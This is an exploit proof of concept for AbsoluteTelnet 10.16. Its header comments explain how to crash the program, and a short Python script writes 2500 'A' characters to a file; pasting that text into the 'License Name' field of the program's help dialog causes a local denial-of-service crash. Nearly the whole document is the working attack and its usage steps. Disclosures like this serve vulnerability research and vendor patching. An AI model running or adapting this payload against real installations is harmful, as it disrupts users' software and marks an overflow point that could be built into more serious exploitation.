#Exploit Title: AbsoluteTelnet 10.16 - 'License name' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-19
#Vendor Homepage: https://www.celestialsoftware.net/
#Software Link: https://www.celestialsoftware.net/telnet/AbsoluteTelnet10.16.exe
#Tested Version: 10.16
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: AbsoluteTelent.py
#2.- Open AbsoluteTelent.txt and copy content to clipboard
#3.- Open AbsoluteTelnet.exe
#4.- Select "Help" > "Enter License Key"
#5.- In "License Name" paste Clipboard
#6.- Crashed

cod = "\x41" * 2500

f = open('AbsoluteTelent.txt', 'w')
f.write(cod)
f.close()